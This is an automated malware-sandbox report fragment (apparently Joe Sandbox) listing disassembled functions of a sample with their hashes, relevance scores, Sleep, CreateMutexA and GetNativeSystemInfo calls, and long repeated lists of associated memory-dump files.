Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0a864d062cc1a9971d0b2c14cea4051427820622a12192b62b98921805dba801
Instruction ID: 309d80d6e89c897f6a1e04eb11b5d77b36a5145ad41b83bf507df3b0ddfced5b
Opcode Fuzzy Hash: 0a864d062cc1a9971d0b2c14cea4051427820622a12192b62b98921805dba801
Instruction Fuzzy Hash: 98313A31A043048BEB089BB8D98D7AEB7A1DBCE314F285229E414BB2D5D7755980C666

Function 00EAA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e26bc684862624dc237e5d4dcd82a2145b4dbdab10b22be23853826d3eb5ca04
Instruction ID: 988ffad4a986cb63682910e4b4301a43465ce69f66a45f86fc6a64a5a663b837
Opcode Fuzzy Hash: e26bc684862624dc237e5d4dcd82a2145b4dbdab10b22be23853826d3eb5ca04
Instruction Fuzzy Hash: B6315B31B002048BEB08DB78DC897AEB7A2EBCA314F285668E404FF2D5C7359981C616

Function 00EAA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2465e3470ae6cd703c42264474b62e4d9543fcd4cb8e55a7f01c2972d1ea58d9
Instruction ID: 1407a0297eae78b8b6af0933821755fdb0349785d032e99b7dac169785605650
Opcode Fuzzy Hash: 2465e3470ae6cd703c42264474b62e4d9543fcd4cb8e55a7f01c2972d1ea58d9
Instruction Fuzzy Hash: CC314A717003048BEB08DB78DD897AEB7A2DBCA310F289679E414FB2D5C7356980C652

Function 00EA9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9a9455c88c8b5e0dd299b083a8f6bc77ca694c44e41409f36ce4d01ba66fe0c8
Instruction ID: e50bdfd75dd0ce54f9723171619e76890041e52392682c7a4cf296f2fff4332e
Opcode Fuzzy Hash: 9a9455c88c8b5e0dd299b083a8f6bc77ca694c44e41409f36ce4d01ba66fe0c8
Instruction Fuzzy Hash: 51217C317042049BEB189F6CECC976EF3A5EBCA310F244269E408EB2D6D7766981C616

Function 00EAA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d0bb71d7dad5307dc3c553897f248b85620ec71f8e2b5e6fb8dd763f7a91afe8
Instruction ID: 3b879e7ecb1184c33d94254248f39459de2115b76a547621cb53308921c8d03f
Opcode Fuzzy Hash: d0bb71d7dad5307dc3c553897f248b85620ec71f8e2b5e6fb8dd763f7a91afe8
Instruction Fuzzy Hash: 2E212C306443048AE7286B68DC5E76EB391DF8B704F182836E548BE2D1CB7AA481C153

Function 00EAA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b6e38d48209b932b119a837d5ec743d8d78d6e4735911493c7ba9d13e25596c4
Instruction ID: b7ed42d971cb07e2eea8cd06c1a37c3cc0be267cf1580f137790f8f13914100a
Opcode Fuzzy Hash: b6e38d48209b932b119a837d5ec743d8d78d6e4735911493c7ba9d13e25596c4
Instruction Fuzzy Hash: BC2148317043049BEB189F68EC897AEB7A5DBCA310F285679E408EB2D5C7766580C212

Function 00EA7D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00EA7ED3

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
